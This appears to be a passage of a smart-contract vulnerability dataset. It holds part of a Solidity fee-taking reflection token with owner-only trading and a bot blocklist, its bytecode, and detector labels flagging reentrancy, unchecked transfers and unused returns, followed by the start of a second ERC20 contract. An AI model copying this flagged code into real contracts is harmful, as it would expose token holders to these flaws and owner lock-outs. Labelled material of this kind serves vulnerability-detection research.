_isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c80635d098b3811610175578063a457c2d7116100dc578063d12a768811610095578063dd62ed3e1161006f578063dd62ed3e1461088e578063e8c4c43c146108d4578063ea2f0b37146108e9578063f2fde38b1461090957600080fd5b8063d12a768814610838578063d4a3883f1461084e578063dd4670641461086e57600080fd5b8063a457c2d714610799578063a6334231146107b9578063a69df4b5146107ce578063a9059cbb146107e3578063b6c5232414610803578063c49b9a801461081857600080fd5b8063764d72bf1161012e578063764d72bf146106d75780637d1db4a5146106f757806388f820201461070d5780638ba4cc3c146107465780638da5cb5b1461076657806395d89b411461078457600080fd5b80635d098b381461061357806360d48489146106335780636bc87c3a1461066c57806370a0823114610682578063715018a6146106a257806375f0a874146106b757600080fd5b80633685d419116102195780634549b039116101d25780634549b0391461053257806348c54b9d1461055257806349bd5a5e146105675780634a74bb021461059b57806352390c02146105ba5780635342acb4146105da57600080fd5b80633685d4191461047c578063395093511461049c5780633ae7dc20146104bc5780633b124fe7146104dc5780633bd5d173146104f2578063437823ec1461051257600080fd5b806323b872dd1161026b57806323b872dd146103bb57806329e04b4a146103db5780632a360631146103fb5780632d8381191461041b5780632f05205c1461043b578063313ce5671461045a57600080fd5b80630305caff146102be57806306fdde03146102e0578063095ea7b31461030b57806313114a9d1461033b5780631694505e1461035a57806318160ddd146103a657600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102de6102d9366004612b29565b610929565b005b3480156102ec57600080fd5b506102f561097d565b6040516103029190612b46565b60405180910390f35b34801561031757600080fd5b5061032b610326366004612b9b565b610a0f565b6040519015158152602001610302565b34801561034757600080fd5b50600d545b604051908152602001610302565b34801561036657600080fd5b5061038e7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610302565b3480156103b257600080fd5b50600b5461034c565b3480156103c757600080fd5b5061032b6103d6366004612bc7565b610a26565b3480156103e757600080fd5b506102de6103f6366004612c08565b610a8f565b34801561040757600080fd5b506102de610416366004612b29565b610b3c565b34801561042757600080fd5b5061034c610436366004612c08565b610b8a565b34801561044757600080fd5b50600a5461032b90610100900460ff1681565b34801561046657600080fd5b5060115460405160ff9091168152602001610302565b34801561048857600080fd5b506102de610497366004612b29565b610c0e565b3480156104a857600080fd5b5061032b6104b7366004612b9b565b610dc5565b3480156104c857600080fd5b506102de6104d7366004612c21565b610dfb565b3480156104e857600080fd5b5061034c60125481565b3480156104fe57600080fd5b506102de61050d366004612c08565b610f0b565b34801561051e57600080fd5b506102de61052d366004612b29565b610ff5565b34801561053e57600080fd5b5061034c61054d366004612c68565b611043565b34801561055e57600080fd5b506102de6110d0565b34801561057357600080fd5b5061038e7f0000000000000000000000005155008113fba851471173cbeb7663d0d82e77b181565b3480156105a757600080fd5b5060165461032b90610100900460ff1681565b3480156105c657600080fd5b506102de6105d5366004612b29565b611136565b3480156105e657600080fd5b5061032b6105f5366004612b29565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561061f57600080fd5b506102de61062e366004612b29565b611289565b34801561063f57600080fd5b5061032b61064e366004612b29565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561067857600080fd5b5061034c60145481565b34801561068e57600080fd5b5061034c61069d366004612b29565b6112d5565b3480156106ae57600080fd5b506102de611334565b3480156106c357600080fd5b50600e5461038e906001600160a01b031681565b3480156106e357600080fd5b506102de6106f2366004612b29565b611396565b34801561070357600080fd5b5061034c60175481565b34801561071957600080fd5b5061032b610728366004612b29565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561075257600080fd5b506102de610761366004612b9b565b6113f5565b34801561077257600080fd5b506000546001600160a01b031661038e565b34801561079057600080fd5b506102f5611450565b3480156107a557600080fd5b5061032b6107b4366004612b9b565b61145f565b3480156107c557600080fd5b506102de6114ae565b3480156107da57600080fd5b506102de6114e9565b3480156107ef57600080fd5b5061032b6107fe366004612b9b565b6115ef565b34801561080f57600080fd5b5060025461034c565b34801561082457600080fd5b506102de610833366004612c8d565b6115fc565b34801561084457600080fd5b5061034c60185481565b34801561085a57600080fd5b506102de610869366004612cf6565b61167a565b34801561087a57600080fd5b506102de610889366004612c08565b61176d565b34801561089a57600080fd5b5061034c6108a9366004612c21565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156108e057600080fd5b506102de6117f2565b3480156108f557600080fd5b506102de610904366004612b29565b61182f565b34801561091557600080fd5b506102de610924366004612b29565b61187a565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612d62565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f805461098c90612d97565b80601f01602080910402602001604051908101604052809291908181526020018280546109b890612d97565b8015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b6000610a1c338484611952565b5060015b92915050565b6000610a33848484611a76565b610a858433610a8085604051806060016040528060288152602001612f92602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d27565b611952565b5060019392505050565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161095390612d62565b629896808111610b285760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b71018981026b4b63634b7b760611b6064820152608401610953565b610b3681633b9aca00612de8565b60185550565b6000546001600160a01b03163314610b665760405162461bcd60e51b815260040161095390612d62565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610bf15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610953565b6000610bfb611d61565b9050610c078382611d84565b9392505050565b6000546001600160a01b03163314610c385760405162461bcd60e51b815260040161095390612d62565b6001600160a01b03811660009081526007602052604090205460ff16610ca05760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b60005b600854811015610dc157816001600160a01b031660088281548110610cca57610cca612e07565b6000918252602090912001546001600160a01b03161415610daf5760088054610cf590600190612e1d565b81548110610d0557610d05612e07565b600091825260209091200154600880546001600160a01b039092169183908110610d3157610d31612e07565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610d8957610d89612e34565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610db981612e4a565b915050610ca3565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a1c918590610a809086611dc6565b6000546001600160a01b03163314610e255760405162461bcd60e51b815260040161095390612d62565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a0823190602401602060405180830381865afa158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e979190612e65565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f069190612e7e565b505050565b3360008181526007602052604090205460ff1615610f805760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610953565b6000610f8b83611e25565b505050506001600160a01b038416600090815260036020526040902054919250610fb791905082611e74565b6001600160a01b038316600090815260036020526040902055600c54610fdd9082611e74565b600c55600d54610fed9084611dc6565b600d55505050565b6000546001600160a01b0316331461101f5760405162461bcd60e51b815260040161095390612d62565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156110975760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610953565b816110b65760006110a784611e25565b50939550610a20945050505050565b60006110c184611e25565b50929550610a20945050505050565b6000546001600160a01b031633146110fa5760405162461bcd60e51b815260040161095390612d62565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611133573d6000803e3d6000fd5b50565b6000546001600160a01b031633146111605760405162461bcd60e51b815260040161095390612d62565b6001600160a01b03811660009081526007602052604090205460ff16156111c95760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b6001600160a01b03811660009081526003602052604090205415611223576001600160a01b03811660009081526003602052604090205461120990610b8a565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146112b35760405162461bcd60e51b815260040161095390612d62565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561131257506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610a2090610b8a565b6000546001600160a01b0316331461135e5760405162461bcd60e51b815260040161095390612d62565b600080546040516001600160a01b0390911690600080516020612fba833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146113c05760405162461bcd60e51b815260040161095390612d62565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610dc1573d6000803e3d6000fd5b6000546001600160a01b0316331461141f5760405162461bcd60e51b815260040161095390612d62565b611427611eb6565b61143f338361143a84633b9aca00612de8565b611a76565b610dc1601354601255601554601455565b60606010805461098c90612d97565b6000610a1c3384610a8085604051806060016040528060258152602001612fda602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d27565b6000546001600160a01b031633146114d85760405162461bcd60e51b815260040161095390612d62565b600a805461ff001916610100179055565b6001546001600160a01b0316331461154f5760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610953565b60025442116115a05760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610953565b600154600080546040516001600160a01b039384169390911691600080516020612fba83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a1c338484611a76565b6000546001600160a01b031633146116265760405162461bcd60e51b815260040161095390612d62565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061166f90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146116a45760405162461bcd60e51b815260040161095390612d62565b60008382146116f55760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610953565b838110156117665761175485858381811061171257611712612e07565b90506020020160208101906117279190612b29565b84848481811061173957611739612e07565b90506020020135633b9aca0061174f9190612de8565b611ee4565b61175f600182612e9b565b90506116f5565b5050505050565b6000546001600160a01b031633146117975760405162461bcd60e51b815260040161095390612d62565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556117c68142612e9b565b600255600080546040516001600160a01b0390911690600080516020612fba833981519152908390a350565b6000546001600160a01b0316331461181c5760405162461bcd60e51b815260040161095390612d62565b6c7e37be2022c0914b2680000000601755565b6000546001600160a01b031633146118595760405162461bcd60e51b815260040161095390612d62565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146118a45760405162461bcd60e51b815260040161095390612d62565b6001600160a01b0381166119095760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b0380851693921691600080516020612fba83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166119b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b038216611a155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611ada5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b038216611b3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b60008111611b9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6000546001600160a01b03848116911614801590611bca57506000546001600160a01b03838116911614155b15611c3257601754811115611c325760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610953565b6000611c3d306112d5565b90506017548110611c4d57506017545b60185481108015908190611c64575060165460ff16155b8015611ca257507f0000000000000000000000005155008113fba851471173cbeb7663d0d82e77b16001600160a01b0316856001600160a01b031614155b8015611cb55750601654610100900460ff165b15611cc8576018549150611cc882611ef7565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d0a57506001600160a01b03851660009081526006602052604090205460ff165b15611d13575060005b611d1f86868684611ff6565b505050505050565b60008184841115611d4b5760405162461bcd60e51b81526004016109539190612b46565b506000611d588486612e1d565b95945050505050565b6000806000611d6e612232565b9092509050611d7d8282611d84565b9250505090565b6000610c0783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b4565b600080611dd38385612e9b565b905083811015610c075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610953565b6000806000806000806000806000611e3c8a6123e2565b9250925092506000806000611e5a8d8686611e55611d61565b612424565b919f909e50909c50959a5093985091965092945050505050565b6000610c0783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d27565b601254158015611ec65750601454155b15611ecd57565b601280546013556014805460155560009182905555565b611eec611eb6565b61143f338383611a76565b6016805460ff191660011790556000611f11826002611d84565b90506000611f1f8383611e74565b905047611f2b83612474565b6000611f374783611e74565b90506000611f516064611f4b84605061262c565b90611d84565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611f8c573d6000803e3d6000fd5b50611f978183612e1d565b9150611fa384836126ab565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff1661201f576000546001600160a01b0385811691161461201f57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061205e57506001600160a01b03831660009081526009602052604090205460ff165b156120b557600a5460ff166120b55760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610953565b806120c2576120c2611eb6565b6001600160a01b03841660009081526007602052604090205460ff16801561210357506001600160a01b03831660009081526007602052604090205460ff16155b15612118576121138484846127aa565b612216565b6001600160a01b03841660009081526007602052604090205460ff1615801561215957506001600160a01b03831660009081526007602052604090205460ff165b15612169576121138484846128d0565b6001600160a01b03841660009081526007602052604090205460ff161580156121ab57506001600160a01b03831660009081526007602052604090205460ff16155b156121bb57612113848484612979565b6001600160a01b03841660009081526007602052604090205460ff1680156121fb57506001600160a01b03831660009081526007602052604090205460ff165b1561220b576121138484846129bd565b612216848484612979565b8061222c5761222c601354601255601554601455565b50505050565b600c54600b546000918291825b6008548110156123845782600360006008848154811061226157612261612e07565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806122cc57508160046000600884815481106122a5576122a5612e07565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156122e257600c54600b54945094505050509091565b61232860036000600884815481106122fc576122fc612e07565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e74565b9250612370600460006008848154811061234457612344612e07565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e74565b91508061237c81612e4a565b91505061223f565b50600b54600c5461239491611d84565b8210156123ab57600c54600b549350935050509091565b90939092509050565b600081836123d55760405162461bcd60e51b81526004016109539190612b46565b506000611d588486612eb3565b6000806000806123f185612a30565b905060006123fe86612a4c565b90506000612416826124108986611e74565b90611e74565b979296509094509092505050565b6000808080612433888661262c565b90506000612441888761262c565b9050600061244f888861262c565b90506000612461826124108686611e74565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106124a9576124a9612e07565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061254b9190612ed5565b8160018151811061255e5761255e612e07565b60200260200101906001600160a01b031690816001600160a01b0316815250506125a9307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611952565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906125fe908590600090869030904290600401612ef2565b600060405180830381600087803b15801561261857600080fd5b505af1158015611d1f573d6000803e3d6000fd5b60008261263b57506000610a20565b60006126478385612de8565b9050826126548583612eb3565b14610c075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b6126d6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611952565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71982308560008061271d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612785573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117669190612f63565b6000806000806000806127bc87611e25565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127ee9088611e74565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461281d9087611e74565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461284c9086611dc6565b6001600160a01b03891660009081526003602052604090205561286e81612a68565b6128788483612af0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128bd91815260200190565b60405180910390a3505050505050505050565b6000806000806000806128e287611e25565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506129149087611e74565b6001600160a01b03808b16600090815260036020908152604080832094909455918b1681526004909152205461294a9084611dc6565b6001600160a01b03891660009081526004602090815260408083209390935560039052205461284c9086611dc6565b60008060008060008061298b87611e25565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061281d9087611e74565b6000806000806000806129cf87611e25565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612a019088611e74565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546129149087611e74565b6000610a206064611f4b6012548561262c90919063ffffffff16565b6000610a206064611f4b6014548561262c90919063ffffffff16565b6000612a72611d61565b90506000612a80838361262c565b30600090815260036020526040902054909150612a9d9082611dc6565b3060009081526003602090815260408083209390935560079052205460ff1615610f065730600090815260046020526040902054612adb9084611dc6565b30600090815260046020526040902055505050565b600c54612afd9083611e74565b600c55600d54612b0d9082611dc6565b600d555050565b6001600160a01b038116811461113357600080fd5b600060208284031215612b3b57600080fd5b8135610c0781612b14565b600060208083528351808285015260005b81811015612b7357858101830151858201604001528201612b57565b81811115612b85576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612bae57600080fd5b8235612bb981612b14565b946020939093013593505050565b600080600060608486031215612bdc57600080fd5b8335612be781612b14565b92506020840135612bf781612b14565b929592945050506040919091013590565b600060208284031215612c1a57600080fd5b5035919050565b60008060408385031215612c3457600080fd5b8235612c3f81612b14565b91506020830135612c4f81612b14565b809150509250929050565b801515811461113357600080fd5b60008060408385031215612c7b57600080fd5b823591506020830135612c4f81612c5a565b600060208284031215612c9f57600080fd5b8135610c0781612c5a565b60008083601f840112612cbc57600080fd5b50813567ffffffffffffffff811115612cd457600080fd5b6020830191508360208260051b8501011115612cef57600080fd5b9250929050565b60008060008060408587031215612d0c57600080fd5b843567ffffffffffffffff80821115612d2457600080fd5b612d3088838901612caa565b90965094506020870135915080821115612d4957600080fd5b50612d5687828801612caa565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612dab57607f821691505b60208210811415612dcc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612e0257612e02612dd2565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015612e2f57612e2f612dd2565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612e5e57612e5e612dd2565b5060010190565b600060208284031215612e7757600080fd5b5051919050565b600060208284031215612e9057600080fd5b8151610c0781612c5a565b60008219821115612eae57612eae612dd2565b500190565b600082612ed057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612ee757600080fd5b8151610c0781612b14565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612f425784516001600160a01b031683529383019391830191600101612f1d565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612f7857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220812047b736e11b22e00dedd17ad1efb58dc9589b8d06a85ea3603c406ad2f31e64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2683, 16147, 2509, 2546, 22203, 27009, 27814, 2692, 2050, 2692, 2475, 2278, 2629, 2063, 16086, 2050, 12376, 21619, 17914, 2692, 2581, 17134, 21472, 2509, 2497, 2575, 2050, 1013, 1008, 2123, 2850, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2123, 21351, 11231, 2123, 2850, 1011, 2123, 2850, 1999, 2226, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,308
0x9689581BB65944F0D7885DE7b7F62C57De824b4E
pragma solidity 0.4.25; /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ contract IERC20 { function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant 